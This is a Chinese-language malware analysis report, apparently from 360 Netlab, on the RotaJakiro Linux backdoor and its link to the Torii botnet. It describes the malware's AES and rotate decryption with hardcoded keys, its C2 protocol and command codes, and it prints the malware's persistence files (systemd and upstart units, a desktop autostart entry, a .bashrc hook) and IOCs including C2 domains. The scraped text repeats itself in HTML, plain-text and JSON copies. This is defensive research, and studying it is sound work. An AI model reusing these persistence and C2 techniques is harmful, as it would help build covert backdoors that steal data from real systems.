00000020 00 00 32 42 36 39 33 33 34 46 38 34 31 44 30 44 |..2B69334F841D0D|
00000030 39 46 41 30 36 35 38 45 43 33 45 32 39 46 41 44 |9FA0658EC3E29FAD|
00000040 34 39 c8 53 e6 9c 48 c4 8b 77 24 2e 02 1c 96 d9 |49ÈSæ.HÄ.w$....Ù|
00000050 81 28
------------filed parse------------------
offset 0x09, 4 bytes--->payload length
offset 0x0d, 2 bytes--->body length
offset ox0f, 4 bytes--->cmdid
</code></pre>
<p>通过字段解析，可知key的长度为0x8字节，payload的长度为0x20字节，要执行的指令码为0x18320e0，即上报设备信息。</p>
<p>从偏移0x52读取8字节就得到了key<code>ea 9a 1a 18 18 44 26 a0</code>，使用和head一样的解密方法，得到<code>4c cf cb db db 39 2a 1e</code>，它是作为AES的密钥来解密payload。</p>
<p>从偏移0x5a读取32字节，就得到了下面的payload：</p>
<pre><code>54 c1 c3 69 00 18 31 e4 a2 5b 10 7f 67 ab d1 4b
b2 7b 3d 3f b3 bc 66 6a 26 f6 f6 b3 f7 2e 66 6d
</code></pre>
<p>使用解密后的key做为AES-256的密钥，以CBC模式解密以上数据得下以下内容：</p>
<pre><code>3b c7 f8 9b 73 2b d1 04 78 9c e3 60 60 60 d8 df d9 c1 71 56 f7 6f 00 00 13 80 04 28
</code></pre>
<p>第8字节起即为<code>ZLIB</code>压缩数据，解压得到如下内容：</p>
<pre><code>08 00 00 00 bf 89 88 08 cd 2d fd 50
------------filed parse------------------
offset 0, 4 bytes--->length
</code></pre>
<p>解压后的payload有什么用呢？它是做为<strong>新的AES密钥，用来解密部分敏感资源信息</strong>。<br>
例如Bot在收集设备信息时，有一项是当前操作系统发行版本的信息，它是通过<code>cat /etc/*release | uniq</code>命令实现的。</p>
<pre><code>root@debian:~# cat /etc/*release | uniq
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
</code></pre>
<p><code>cat /etc/*release | uniq</code>这条命令正是以下密文通过新的AES密钥配合下图中的参数解密而来。</p>
<pre><code>cmd ciphertxt
---------------------------
74 00 dd 79 e6 1e aa bb 99 81 7e ca d9 21 6b 81
6b d9 9d 14 45 73 6a 1c 61 cc 28 a3 0f 2b 41 5a
6b 33 8c 37 25 89 47 05 44 7e f0 6b 17 70 d8 ca
</code></pre>
<img src="__GHOST_URL__/content/images/2021/04/jak_paykey.png" width="860px" />
<h3 id="botc2">Bot -> C2</h3>
<p>当BOT接收到C2的“上报设备信息”指令后，会向C2发送以下数据，可以看出key部分的值依然是<code>ea 9a 1a 18 18 44 26 a0</code>。</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_payload.png" width="860px" />
<p>从上文已知解密后key值为<code>4c cf cb db db 39 2a 1e</code>，通过这个值将Bot发往C2的payload解密解压后，得到如下数据，正是设备的各种信息，其中有前文提到的通过<code>cat /etc/*release | uniq</code>获取的信息，验证了我们的分析是正确的。</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_device-1.png" width="860px" />
<h2 id="toriibotnet">与Torii Botnet团伙的关系</h2>
<p>Torii僵尸网络于2018年9月20日被友商Avast曝光，对比RotaJakiro，俩者的相似之处体现在以下3方面：</p>
<h3 id="1">1：字符串相似性</h3>
<p>RotaJakiro&Torii的敏感资源解密后，我们发现它们复用了大量相同的命令。</p>
<pre><code>1：semanage fcontext -a -t bin_t '%s' && restorecon '%s'
2：which semanage
3：cat /etc/*release
4：cat /etc/issue
5：systemctl enable
6：initctl start
...
</code></pre>
<h3 id="2">2：流量相似性</h3>
<p>在构造流量的过程中，大量使用常数，构造方式非常接近。</p>
<img src="__GHOST_URL__/content/images/2021/04/jak_compare.png" width="860px" />
<h3 id="3">3：功能相似性</h3>
<p>从安全研究人员进行逆向工程的角度来说，RotaJakiro&Torii有着相常相似的风格：使用加密算法隐藏敏感资源，都实现了相当old-school式的持久化，结构化的网络流量等。</p>
<p>基于这些考量，我们推测RotaJakiro和Torii出自同一个团伙之手。</p>
<h2 id="">冰山一角</h2>
<p>至此RotaJakiro的逆向与溯源告一段落，但真正的工作远没结束，有许多问题依然没有答案：“RotaJakiro是怎么传播的,它的目的是什么？”，“RotaJakiro是否有特定的攻击目标，是不是APT？”，“RotaJakiro与Torii背后的黑手是谁？”......由于我们的视野有限，目前只能向安全社区分享这么多。如果社区有相关的线索，欢迎与我们联系，让我们一起<code>Make Cyber Security Great Again</code>。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h2 id="ioc">IOC</h2>
<p>Sample MD5</p>
<pre><code>1d45cd2c1283f927940c099b8fab593b
11ad1e9b74b144d564825d65d7fb37d6
5c0f375e92f551e8f2321b141c15c48f
64f6cfe44ba08b0babdd3904233c4857
</code></pre>
<p>C2</p>
<pre><code>news.thaprior.net:443
blog.eduelects.com:443
cdn.mirror-codes.net:443
status.sublineover.net:443
</code></pre>
<p>IP</p>
<pre><code>176.107.176.16 Ukraine|Kiev|Unknown 42331|PE_Freehost
</code></pre>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
2021年3月25日，360 NETLAB的BotMon系统发现一个的VT 0检测的可疑ELF文件(MD5=64f6cfe44ba08b0babdd3904233c4857)，它会与4个业务类型截然不同的域名进行通信，端口均为TCP 443（HTTPS），但流量却并非TLS/SSL类型，这个异常行为引起了我们的兴趣，进一步分析发现它是一个针对Linux X64系统的后门木马，该家族至少已经存在3年但目前还是0检测。基于该家族使用rotate加密，并且运行后对root/non-root账户有不同的行为，犹如一只双头龙，一体双向，我们将它命名为RotaJakiro。
RotaJakiro隐蔽性较强，对加密算法使用比较多，包括：使用AES算法加密样本内的资源信息；C2通信综合使用了AES，XOR，ROTATE加密和ZLIB压缩算法。指令方面，RotaJakiro支持12种指令码，其中3种是和特定plugin相关的，遗憾的是目前我们并没有捕获到这类payload，因此并不知道它的真正目的。从广义的后门角度来看，RotaJakiro支持的功能可以归纳成以下4类：
* 上报设备信息
* 窃取敏感的信息
* 文件/Plugin管理(查询，下载，删除)
* 执行特定的Plugin
当所有分析结束后，我们尝试对RotaJakiro进行溯源，根据解密后的资源以及编码的风格的相似性，我们推测它是Torii Botnet作者的又一作品。
潜伏了多少？
我们从捕获的样本出发，寻找RotaJakiro同源者，最终发现了以下4个样本，它们在VT上都是0检测，从VT的First Seen时间来看，RotaJakiro至少已经存在了3年。
FileName
MD5
Detection
First Seen in VT
systemd-daemon
1d45cd2c1283f927940c099b8fab593b
0/61
2018-05-16 04:22:59
systemd-daemon
11ad1e9b74b144d564825d65d7fb37d6
0/58
2018-12-25 08:02:05
systemd-daemon
5c0f375e92f551e8f2321b141c15c48f
0/56
2020-05-08 05:50:06
gvfsd-helper
64f6cfe44ba08b0babdd3904233c4857
0/61
2021-01-18 13:13:19
这批样本都内嵌了以下4个C2，目前它们在VT上也是0检测。这4个C2域名有非常接近的Crteated Updated Expired时间，我们推测它们一直以来用于同一个业务，从这个角度来看，RotaJakiro背后的团伙至少已经活动了6年。
Domain
Detection
Created
Last Updated
Expired
news.thaprior.net
0/83
2015-12-09 06:24:13
2020-12-03 07:24:33
2021-12-09 06:24:13
blog.eduelects.com
0/83
2015-12-10 13:12:52
2020-12-03 07:24:33
2021-12-10 13:12:52
cdn.mirror-codes.net
0/83
2015-12-09 06:24:19
2020-12-03 07:24:32
2021-12-09 06:24:19
status.sublineover.net
0/83
2015-12-09 06:24:24
2020-12-03 07:24:32
2021-12-09 06:24:24
逆向分析
4个RotaJakiro样本，时间分布从2018到2021，它们的功能非常接近，本文选取2021年的样本为分析对象，它的基本信息如下:
MD5:64f6cfe44ba08b0babdd3904233c4857
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
Packer:No
从编码层面来说，RotaJakiro采用了动态AES，双层加密的通信协议等技术来对抗安全人员的二进制&网络流量分析。
从功能层面来说，RotaJakiro运行时首先会判断当时用户是root，还是non-root，不同的账户有不同的执行策略，然后使用AES&ROTATE解密出相关的敏感资源供后续的持久化，进程守护和单一实例使用，最后和C2建立通信，等待执行C2下发的指令。
下文将从上述角度出发剖析RotaJakiro具体实现。
样本对抗技巧
*
动态生成AES加密算法所需的常量表，防止算法被直接识别
*
使用stack strings obfuscation技术存储加密的敏感资源信息
*
使用双层加密的网络通信
加密算法
RotaJakiro中所有的敏感资源都是加密的，在IDA中我们可以看出解密方法dec_proc调用了60次，它是由AES，Rotate俩部分组成。
AES解密入口如下所示：
其中aes_dec的采用的是AES-256, CBC模式，key&iv都是硬编码。
*
key
14 BA EE 23 8F 72 1A A6 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*
iv
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Rotate解密入口如下所示：
所谓Rotate即循环移位，可以看出此处使用的循环左移，其中移位的次数由plain_len(明文长度)&7的值决定。
以解密以下C2密文为例：
ff ba a2 3b cd 5b 7b 24 8c 5f e3 4b fc 56 5b 99
ac 91 cf e3 9a 27 d4 c9 6b 39 34 ce 69 ce 18 60
其与解密相关的各种参数如下图所示，密文长度为32字节，明文长度为26字节
首先使用AES解密后得到以下“次级密文”：
然后从次级密文中取出有效密文，其中有效密文从第8字节开始，长度为明文长度减8，此处即为26-8=18字节。
98 1B DB D9 8B 59 19 5D 59 1B 59 D8 1D DC 8B D8
DB 5B
最后通过明文长度26可以计算26&7=2，得到移位的次数，将上述有效密文逐字节左移2位，就能得到C2明文。
blog.eduelects.com
持久化
RotaJakiro在实现持久功能时，对root/non-root用户做了区分，不同的账号采用了不同的技术。
针对root账号的持久化实现
*
根据不同Linux系统发行版本，创建相应的自启动脚本/etc/init/systemd-agent.conf或者/lib/systemd/system/systemd-agent.service。
Content of systemd-agent.conf
-----------------------------
#system-daemon - configure for system daemon
#This service causes system have an associated
#kernel object to be started on boot.
description "system daemon"
start on filesystem or runlevel [2345]
exec /bin/systemd/systemd-daemon
respawn
Content of systemd-agent.service
-----------------------------
[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target
[Service]
ExecStart=/usr/lib/systemd/systemd-daemon
Restart=always
[Install]
*
用于伪装的文件名，俩者2选1
/bin/systemd/systemd-daemon
/usr/lib/systemd/systemd-daemon
针对non-root账号的持久化实现
*
创建桌面环境的自启动脚本$HOME/$.config/autostart/gnomehelper.desktop
[Desktop Entry]
Type=Application
Exec=$HOME/.gvfsd/.profile/gvfsd-helper
*
修改.bashrc文件，创建shell环境的自启动脚本
# Add GNOME's helper designed to work with the I/O abstraction of GIO
# this environment variable is set, gvfsd will not start the fuse filesystem
if [ -d ${HOME} ]; then
${HOME}/.gvfsd/.profile/gvfsd-helper
fi
*
用于用于伪装的文件名，俩者同时存在
$HOME/.dbus/sessions/session-dbus
$HOME/.gvfsd/.profile/gvfsd-helper
进程守护
RotaJakiro实现了进程守护以保护自身的运行，和持久化一样，对root/non-root用户有不同的实现方式。
针对root账号的进程守护实现
在root账号下运行时，根据不同Linux系统发行版本，通过向服务的配置文件中写入Restart=always或者respawn，当服务进程被结束时，会自动创建新进程。
实际效果如下图所示，可以看到systemd-daemon进程被结束后，立马就生成了新进程。
针对non-root账号的进程守护实现
在non-root账号下运行时，RotaJakiro生成session-dbus和gvfsd-helper俩个进程，它们监控着彼此的存活，当其中一方被结束时，另一方将其恢复，这是非常典型的双进程保护。
RotaJakiro的双进程保护是如何实现的呢？首先以shmget API创建一片共享内存，session-dbus和gvfsd-helper通过这片共享内存实现进程间通信，告诉对方的自己的PID。然后通过/proc/[PID]目录，动态地获取进程的存活情况。当发现对方进程死亡时，通过execvp创建进程，帮助死亡一方“复活”，大致流程如下图所示：
实际效果如下图所示，可以看到session-dbus和gvfsd-helper被kill -9结束后，新进程立马就创建了。
单一实例
RotaJakiro通过文件锁来实现单一实例，具体实现如下所示：
其中用到的lockfile在root/non-root账号下有所不同。
*
root下的lockfile，2选1
/usr/lib32/.X11/X0-lock
/bin/lib32/.X11/X0-lock
*
non-root下的lockfile，同时存在
$HOME/.X11/X0-lock
$HOME/.X11/.X11-lock
以实际中non-root账号为例，通过/proc/locks可以将进程以及文件锁对应起来，此时再执行对应的RotaJakiro的样本，可以看到并不会有对应的新进程创建。
网络通信
RotaJakiro通过以下代码片段和C2建立通信，等待执行后续指令：
这个过程可以分成2个阶段
* Stage 1，初始化阶段：解密出C2列表，和C2建立连接，发送上线信息，接回并解密C2返回的信息。
* Stage 2，业务阶段：验证C2的返回信息，若通过验证，执行C2后续下发的指令。
Stage 1：初始化
通过前文所述的解密算法解密出C2列表，目前样本中内置了以下4个C2：
news.thaprior.net
blog.eduelects.com
cdn.mirror-codes.net
status.sublineover.net
RotaJakiro首先会尝试和它们建立连接，然后通过以下代码片段构造上线信息，
接着将上线信息加密并发送给C2
最后接收C2的回包，解密并校验其合法性，若通过校验，进入Stage 2。
Stage 2：具体业务
通过以下代码片段接收并执行C2下发的指令：
目前RotaJakiro一共支持12条指令，指令码与功能的对应关系如下表所示：
CmdId
Function
0x138E3E6
Exit
0x208307A
Test
0x5CCA727
Heartbeat
0x17B1CC4
Set C2 timeout time
0x25360EA
Streal Senstive Info
0x18320e0
Upload Device Info
0x2E25992
Deliver File/Plugin
0x2CD9070
Query File/Plugin Status
0x12B3629
Delete File/Plugin Or Dir
0x1B25503
Run Plugin_0x39C93E
0x1532E65
Run Plugin_0x75A7A2
0x25D5082
Run Plugin_0x536D01
其中Run Plugin功能复用相同的代码，通过以下逻辑实现函数调用：
我们目前被没有捕获到这类payload，因此用Plugin_“参数”的形式来表示不同的任务。
RotaJakiro的网络通信包如下图所示，由head，key，payload三部分组成，其中header是必须的，长度为82字节，而body&payload部分是可选的。head&key采用的XOR&Rotate加密，payload采用AES&ZLIB加密压缩。
下面我们将通过BOT与C2的一轮交互，来说明网络流量head&key&payload的组成以及解密过程。
C2 -> BOT
读取前0x52字节，就是head的内容。head如何解密呢？方法很简单，逐字节左移3位，然后和0x1b异或即可，解密后得下以内容：
00000000 16 11 10 b9 03 b1 0c fb 04 20 00 00 00 08 00 e0 |...¹.±.û. .....à|
00000010 20 83 01 c2 20 64 20 01 e2 00 00 00 00 c2 0c 00 | .. d .â....Â..|
00000020 00 00 32 42 36 39 33 33 34 46 38 34 31 44 30 44 |..2B69334F841D0D|
00000030 39 46 41 30 36 35 38 45 43 33 45 32 39 46 41 44 |9FA0658EC3E29FAD|
00000040 34 39 c8 53 e6 9c 48 c4 8b 77 24 2e 02 1c 96 d9 |49ÈSæ.HÄ.w$....Ù|
00000050 81 28
------------filed parse------------------
offset 0x09, 4 bytes--->payload length
offset 0x0d, 2 bytes--->body length
offset ox0f, 4 bytes--->cmdid
通过字段解析，可知key的长度为0x8字节，payload的长度为0x20字节，要执行的指令码为0x18320e0，即上报设备信息。
从偏移0x52读取8字节就得到了keyea 9a 1a 18 18 44 26 a0，使用和head一样的解密方法，得到4c cf cb db db 39 2a 1e，它是作为AES的密钥来解密payload。
从偏移0x5a读取32字节，就得到了下面的payload：
54 c1 c3 69 00 18 31 e4 a2 5b 10 7f 67 ab d1 4b
b2 7b 3d 3f b3 bc 66 6a 26 f6 f6 b3 f7 2e 66 6d
使用解密后的key做为AES-256的密钥，以CBC模式解密以上数据得下以下内容：
3b c7 f8 9b 73 2b d1 04 78 9c e3 60 60 60 d8 df d9 c1 71 56 f7 6f 00 00 13 80 04 28
第8字节起即为ZLIB压缩数据，解压得到如下内容：
08 00 00 00 bf 89 88 08 cd 2d fd 50
------------filed parse------------------
offset 0, 4 bytes--->length
解压后的payload有什么用呢？它是做为新的AES密钥，用来解密部分敏感资源信息。
例如Bot在收集设备信息时，有一项是当前操作系统发行版本的信息，它是通过cat /etc/*release | uniq命令实现的。
root@debian:~# cat /etc/*release | uniq
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
cat /etc/*release | uniq这条命令正是以下密文通过新的AES密钥配合下图中的参数解密而来。
cmd ciphertxt
---------------------------
74 00 dd 79 e6 1e aa bb 99 81 7e ca d9 21 6b 81
6b d9 9d 14 45 73 6a 1c 61 cc 28 a3 0f 2b 41 5a
6b 33 8c 37 25 89 47 05 44 7e f0 6b 17 70 d8 ca
Bot -> C2
当BOT接收到C2的“上报设备信息”指令后，会向C2发送以下数据，可以看出key部分的值依然是ea 9a 1a 18 18 44 26 a0。
从上文已知解密后key值为4c cf cb db db 39 2a 1e，通过这个值将Bot发往C2的payload解密解压后，得到如下数据，正是设备的各种信息，其中有前文提到的通过cat /etc/*release | uniq获取的信息，验证了我们的分析是正确的。
与Torii Botnet团伙的关系
Torii僵尸网络于2018年9月20日被友商Avast曝光，对比RotaJakiro，俩者的相似之处体现在以下3方面：
1：字符串相似性
RotaJakiro&Torii的敏感资源解密后，我们发现它们复用了大量相同的命令。
1：semanage fcontext -a -t bin_t '%s' && restorecon '%s'
2：which semanage
3：cat /etc/*release
4：cat /etc/issue
5：systemctl enable
6：initctl start
...
2：流量相似性
在构造流量的过程中，大量使用常数，构造方式非常接近。
3：功能相似性
从安全研究人员进行逆向工程的角度来说，RotaJakiro&Torii有着相常相似的风格：使用加密算法隐藏敏感资源，都实现了相当old-school式的持久化，结构化的网络流量等。
基于这些考量，我们推测RotaJakiro和Torii出自同一个团伙之手。
冰山一角
至此RotaJakiro的逆向与溯源告一段落，但真正的工作远没结束，有许多问题依然没有答案：“RotaJakiro是怎么传播的,它的目的是什么？”，“RotaJakiro是否有特定的攻击目标，是不是APT？”，“RotaJakiro与Torii背后的黑手是谁？”......由于我们的视野有限，目前只能向安全社区分享这么多。如果社区有相关的线索，欢迎与我们联系，让我们一起Make Cyber Security Great Again。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IOC
Sample MD5
1d45cd2c1283f927940c099b8fab593b
11ad1e9b74b144d564825d65d7fb37d6
5c0f375e92f551e8f2321b141c15c48f
64f6cfe44ba08b0babdd3904233c4857
C2
news.thaprior.net:443
blog.eduelects.com:443
cdn.mirror-codes.net:443
status.sublineover.net:443
IP
176.107.176.16 Ukraine|Kiev|Unknown 42331|PE_Freehost
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 版权\n\n版权声明：本文为Netlab原创，依据 [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) 许可证进行授权，转载请附上出处链接及本声明。\n## 概述\n2021年3月25日，360 NETLAB的BotMon系统发现一个的VT 0检测的可疑ELF文件(MD5=64f6cfe44ba08b0babdd3904233c4857)，它会与4个业务类型截然不同的域名进行通信，端口均为TCP 443（HTTPS），但流量却并非TLS/SSL类型，这个异常行为引起了我们的兴趣，进一步分析发现它是一个针对Linux X64系统的后门木马，该家族**至少已经存在3年**但目前还是0检测。基于该家族使用rotate加密，并且运行后对root/non-root账户有不同的行为，犹如一只双头龙，一体双向，我们将它命名为```RotaJakiro```。\n\nRotaJakiro隐蔽性较强，对加密算法使用比较多，包括：使用AES算法加密样本内的资源信息；C2通信综合使用了AES，XOR，ROTATE加密和ZLIB压缩算法。指令方面，RotaJakiro支持12种指令码，其中3种是和特定plugin相关的，遗憾的是目前我们并没有捕获到这类payload，因此并不知道它的真正目的。从广义的后门角度来看，RotaJakiro支持的功能可以归纳成以下4类：\n- 上报设备信息\n- 窃取敏感的信息\n- 文件/Plugin管理(查询，下载，删除)\n- 执行特定的Plugin\n\n当所有分析结束后，我们尝试对RotaJakiro进行```溯源```，根据解密后的资源以及编码的风格的相似性，我们推测它是[Torii Botnet](https://blog.avast.com/new-torii-botnet-threat-research)作者的又一作品。\n## 潜伏了多少？\n\n我们从捕获的样本出发，寻找RotaJakiro同源者，最终发现了以下4个样本，它们在VT上都是0检测，从VT的First Seen时间来看，**RotaJakiro至少已经存在了3年**。\n\n\n| FileName | MD5 | Detection | First Seen in VT |\n| -------------- | -------------------------------- | --------- | ------------------- |\n| systemd-daemon | 1d45cd2c1283f927940c099b8fab593b | 0/61 | 2018-05-16 04:22:59 |\n| systemd-daemon | 11ad1e9b74b144d564825d65d7fb37d6 | 0/58 | 2018-12-25 08:02:05 |\n| systemd-daemon | 5c0f375e92f551e8f2321b141c15c48f | 0/56 | 2020-05-08 05:50:06 |\n| gvfsd-helper | 64f6cfe44ba08b0babdd3904233c4857 | 0/61 | 2021-01-18 13:13:19 |\n\n\n\n这批样本都内嵌了以下4个C2，目前它们在VT上也是0检测。这4个C2域名有非常接近的```Crteated Updated Expired```时间，我们推测它们一直以来用于同一个业务，从这个角度来看，**RotaJakiro背后的团伙至少已经活动了6年**。\n\n| Domain | Detection | Created | Last Updated | Expired |\n| ---------------------- | --------- | ------------------- | ------------------- | ------------------- |\n| news.thaprior.net | 0/83 | 2015-12-09 06:24:13 | 2020-12-03 07:24:33 | 2021-12-09 06:24:13 |\n| blog.eduelects.com | 0/83 | 2015-12-10 13:12:52 | 2020-12-03 07:24:33 | 2021-12-10 13:12:52 |\n| cdn.mirror-codes.net | 0/83 | 2015-12-09 06:24:19 | 2020-12-03 07:24:32 | 2021-12-09 06:24:19 |\n| status.sublineover.net | 0/83 | 2015-12-09 06:24:24 | 2020-12-03 07:24:32 | 2021-12-09 06:24:24 |\n\n\n\n## 逆向分析\n\n4个RotaJakiro样本，时间分布从2018到2021，它们的功能非常接近，本文选取2021年的样本为分析对象，它的基本信息如下:\n\n```\nMD5:64f6cfe44ba08b0babdd3904233c4857\nELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped\nPacker:No\n```\n\n从编码层面来说，RotaJakiro采用了动态AES，双层加密的通信协议等技术来对抗安全人员的二进制&网络流量分析。\n\n从功能层面来说，RotaJakiro运行时首先会判断当时用户是root，还是non-root，不同的账户有不同的执行策略，然后使用AES&ROTATE解密出相关的敏感资源供后续的持久化，进程守护和单一实例使用，最后和C2建立通信，等待执行C2下发的指令。\n\n下文将从上述角度出发剖析RotaJakiro具体实现。\n\n## 样本对抗技巧\n\n- 动态生成AES加密算法所需的常量表，防止算法被直接识别\n\n <img src=\"__GHOST_URL__/content/images/2021/04/jak_dynaes.png\" width=\"860px\" />\n- 使用stack strings obfuscation技术存储加密的敏感资源信息\n\n \n <img src=\"__GHOST_URL__/content/images/2021/04/jak_stack.png\" width=\"860px\" />\n\n- 使用双层加密的网络通信\n\n## 加密算法\n\nRotaJakiro中所有的敏感资源都是加密的，在IDA中我们可以看出解密方法**dec_proc**调用了60次，它是由AES，Rotate俩部分组成。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_dec.png\" width=\"860px\" />\n\nAES解密入口如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_aes.png\" width=\"860px\" />\n\n其中aes_dec的采用的是AES-256, CBC模式，key&iv都是硬编码。\n\n- key\n\n ```\n 14 BA EE 23 8F 72 1A A6 00 00 00 00 00 00 00 00 \n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ```\n\n- iv\n\n ```\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ```\n\n \n\nRotate解密入口如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_rota.png\" width=\"860px\" />\n\n所谓Rotate即循环移位，可以看出此处使用的**循环左移**，其中移位的次数由```plain_len(明文长度)&7```的值决定。\n\n以解密以下C2密文为例：\n\n```\nff ba a2 3b cd 5b 7b 24 8c 5f e3 4b fc 56 5b 99 \nac 91 cf e3 9a 27 d4 c9 6b 39 34 ce 69 ce 18 60\n```\n\n其与解密相关的各种参数如下图所示，密文长度为32字节，明文长度为26字节\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_exp.png\" width=\"860px\" />\n\n首先使用AES解密后得到以下“次级密文”：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_valid.png\" width=\"860px\" />\n\n然后从```次级密文```中取出有效密文，其中```有效密文```从第8字节开始，长度为明文长度减8，此处即为26-8=18字节。\n\n```\n98 1B DB D9 8B 59 19 5D 59 1B 59 D8 1D DC 8B D8 \nDB 5B\n```\n\n最后通过明文长度26可以计算26&7=2，得到移位的次数，将上述```有效密文```逐字节左移2位，就能得到C2明文。\n\n```\nblog.eduelects.com\n```\n\n\n\n## 持久化\n\nRotaJakiro在实现持久功能时，对root/non-root用户做了区分，不同的账号采用了不同的技术。\n\n### 针对root账号的持久化实现\n\n- 根据不同Linux系统发行版本，创建相应的自启动脚本```/etc/init/systemd-agent.conf```或者```/lib/systemd/system/systemd-agent.service```。\n\n ```\n Content of systemd-agent.conf\n -----------------------------\n #system-daemon - configure for system daemon\n #This service causes system have an associated\n #kernel object to be started on boot.\n description \"system daemon\"\n start on filesystem or runlevel [2345]\n exec /bin/systemd/systemd-daemon\n respawn \n ```\n\n\n ```\n Content of systemd-agent.service\n -----------------------------\n [Unit]\n Description=System Daemon\n Wants=network-online.target\n After=network-online.target\n [Service]\n ExecStart=/usr/lib/systemd/systemd-daemon\n Restart=always\n [Install]\n ```\n\n \n\n- 用于伪装的文件名，俩者2选1\n\n ```\n /bin/systemd/systemd-daemon\n /usr/lib/systemd/systemd-daemon\n ```\n\n \n\n### 针对non-root账号的持久化实现\n\n- 创建桌面环境的自启动脚本```$HOME/$.config/autostart/gnomehelper.desktop```\n\n ```\n [Desktop Entry]\n Type=Application\n Exec=$HOME/.gvfsd/.profile/gvfsd-helper\n ```\n\n \n\n- 修改.bashrc文件，创建shell环境的自启动脚本\n\n ```\n # Add GNOME's helper designed to work with the I/O abstraction of GIO\n # this environment variable is set, gvfsd will not start the fuse filesystem\n if [ -d ${HOME} ]; then\n ${HOME}/.gvfsd/.profile/gvfsd-helper\n fi\n ```\n\n \n\n- 用于用于伪装的文件名，俩者同时存在\n\n ```\n $HOME/.dbus/sessions/session-dbus\n $HOME/.gvfsd/.profile/gvfsd-helper\n ```\n\n \n\n## 进程守护\n\nRotaJakiro实现了进程守护以保护自身的运行，和持久化一样，对root/non-root用户有不同的实现方式。\n\n### 针对root账号的进程守护实现\n\n在root账号下运行时，根据不同Linux系统发行版本，通过向服务的配置文件中写入```Restart=always```或者```respawn```，当服务进程被结束时，会自动创建新进程。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_rootcfg.png\" width=\"860px\" />\n\n实际效果如下图所示，可以看到systemd-daemon进程被结束后，立马就生成了新进程。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_rootprot.png\" width=\"860px\" />\n\n### 针对non-root账号的进程守护实现\n\n在non-root账号下运行时，RotaJakiro生成```session-dbus```和```gvfsd-helper```俩个进程，它们监控着彼此的存活，当其中一方被结束时，另一方将其恢复，这是非常典型的双进程保护。\n\nRotaJakiro的双进程保护是如何实现的呢？首先以shmget API创建一片共享内存，session-dbus和gvfsd-helper通过这片共享内存实现进程间通信，告诉对方的自己的PID。然后通过```/proc/[PID]```目录，动态地获取进程的存活情况。当发现对方进程死亡时，通过execvp创建进程，帮助死亡一方“复活”，大致流程如下图所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_monitor.png\" width=\"860px\" />\n\n实际效果如下图所示，可以看到```session-dbus```和```gvfsd-helper```被kill -9结束后，新进程立马就创建了。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_nonrprot.png\" width=\"860px\" />\n\n## 单一实例\n\nRotaJakiro通过文件锁来实现单一实例，具体实现如下所示：\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_single.png\" width=\"860px\" />\n其中用到的```lockfile```在root/non-root账号下有所不同。\n\n- root下的lockfile，2选1\n\n ```\n /usr/lib32/.X11/X0-lock\n /bin/lib32/.X11/X0-lock\n ```\n\n- non-root下的lockfile，同时存在\n\n ```\n $HOME/.X11/X0-lock\n $HOME/.X11/.X11-lock\n ```\n\n \n\n以实际中non-root账号为例，通过```/proc/locks```可以将进程以及文件锁对应起来，此时再执行对应的RotaJakiro的样本，可以看到并不会有对应的新进程创建。\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_instance.png\" width=\"860px\" />\n## 网络通信\n\nRotaJakiro通过以下代码片段和C2建立通信，等待执行后续指令：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_stage.png\" width=\"860px\" />\n\n这个过程可以分成2个阶段\n\n- Stage 1，初始化阶段：解密出C2列表，和C2建立连接，发送上线信息，接回并解密C2返回的信息。\n- Stage 2，业务阶段：验证C2的返回信息，若通过验证，执行C2后续下发的指令。\n\n### Stage 1：初始化\n\n通过前文所述的解密算法解密出C2列表，目前样本中内置了以下4个C2：\n\n```\nnews.thaprior.net\nblog.eduelects.com\ncdn.mirror-codes.net\nstatus.sublineover.net\n```\n\nRotaJakiro首先会尝试和它们建立连接，然后通过以下代码片段构造上线信息，\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_cons.png\" width=\"860px\" />\n\n接着将上线信息加密并发送给C2\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_xor.png\" width=\"860px\" />\n\n最后接收C2的回包，解密并校验其合法性，若通过校验，进入Stage 2。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_recvreg.png\" width=\"860px\" 